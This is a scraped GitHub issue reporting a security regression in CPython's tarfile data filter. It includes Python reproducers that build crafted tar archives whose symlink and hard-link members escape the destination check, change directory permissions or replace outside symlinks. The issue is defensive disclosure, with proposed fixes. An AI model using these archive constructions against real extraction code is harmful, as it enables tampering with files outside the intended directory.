Pewarta Proxy

📋 Server Request & Proxy Logs

Loading active proxy settings...
Developed by Khairul Adha (adhexa.id)
Mengambil log server...

⚙️ Pengaturan Proxy Target

Skip to content

tarfile filter="data" behavior slightly loosened after gh-160097 #160863

Open

Description

@gpshead

Bug report

gh-160097 gave tar_filter a check that data_filter already had. In moving the check, the condition changed. It was "the member's resolved path equals the destination". It is now "the member's normalised name is ."

A symlink or hard-link member can still reach the destination, and now passes filter="data", in three ways:

  • ../dest;
  • s/. after an earlier member s -> ., which needs no knowledge of the destination;
  • ../E, where E is an existing symlink outside the destination that points at it.

vs before:

  • extract() and extractall() may raise RecursionError where they raised OutsideDestinationError.
  • The extraction completes and changes the destination directory's own permissions.
  • A symlink outside the destination that points at it is deleted or replaced. That includes the symlink through which the caller named the destination.

reproducer

common code used be the scenarios below:

import io, os, tarfile, tempfile

def archive(*members):  # (name, type, linkname, mode, data)
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w") as tf:
        for name, type, linkname, mode, data in members:
            info = tarfile.TarInfo(name)
            info.type, info.linkname, info.mode, info.size = type, linkname, mode, len(data)
            tf.addfile(info, io.BytesIO(data))
    buf.seek(0)
    return tarfile.open(fileobj=buf)
  1. RecursionError vs prior OutsideDestinationError
with tempfile.TemporaryDirectory() as box:
    os.mkdir(box + "/dest")
    with archive(("../dest", tarfile.SYMTYPE, "dest", 0o777, b"")) as tf:
        tf.extractall(box + "/dest", filter="data")
  1. link destination permissions
with tempfile.TemporaryDirectory() as box:
    os.mkdir(box + "/dest", 0o700)
    with archive(("d", tarfile.DIRTYPE, "", 0o755, b""),
                 ("s", tarfile.SYMTYPE, ".", 0o777, b""),
                 ("s/.", tarfile.LNKTYPE, "d", 0o777, b"")) as tf:
        tf.extractall(box + "/dest", filter="data")
    print("destination mode:", oct(os.stat(box + "/dest").st_mode & 0o7777))

that was previously an OutsideDestinationError, now it changes the mode of the destination. security regression, this one lets any destination path be targeted.

  1. symlink outside destination
with tempfile.TemporaryDirectory() as box:
    os.mkdir(box + "/real")
    os.symlink("real", box + "/current")
    with archive(("first.txt", tarfile.REGTYPE, "", 0o644, b"1"),
                 ("../current", tarfile.SYMTYPE, "real", 0o777, b""),
                 ("later.txt", tarfile.REGTYPE, "", 0o644, b"2")) as tf:
        tf.extractall(box + "/current", filter="data")
    print("current is a symlink:", os.path.islink(box + "/current"))
    print("current/:", os.listdir(box + "/current"), " real/:", os.listdir(box + "/real"))

That should've been an OutsideDestinationError, now it mucks with things outside... security regression, but requires a pre-existing symlink to target.

Fix thoughts

Minimal: put the five removed lines in tarfile from https://patch-diff.githubusercontent.com/raw/python/cpython/pull/160098.patch back while keeping the six new ones?

Broader: judge a link member by where the link is made (ie: did the tarfile extraction write it), resolving the parent directory only.

CPython versions tested on:

3.13, CPython main branch

Operating systems tested on:

Linux

Activity

  1. gpshead commented on Oct 29, 2026

    @gpshead
    MemberAuthor

    the minimal regression fix should look something like https://github.com/gpshead/cpython/pull/24/files

    the broader fix might look something like https://github.com/gpshead/cpython/pull/23/files

  2. added
    3.11only security fixes
    3.12only security fixes
    3.13only security fixes
    3.14bugs and security fixes
    3.15bugs and security fixes
    on Oct 29, 2026
  3. added
    stdlibStandard Library Python modules in the Lib/ directory
    and removed
    type-bugAn unexpected behavior, bug, or error
    on Oct 29, 2026
  4. StanFromIreland commented on Oct 29, 2026

    @StanFromIreland
    Member

    Good catch, tarfile is just the gift that keeps on giving ;-)

    the broader fix might look something like https://github.com/gpshead/cpython/pull/23/files

    That looks good.

  5. self-assigned this
    on Oct 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

3.11only security fixes3.12only security fixes3.13only security fixes3.14bugs and security fixes3.15bugs and security fixesstdlibStandard Library Python modules in the Lib/ directorytype-securityA security issue

Projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions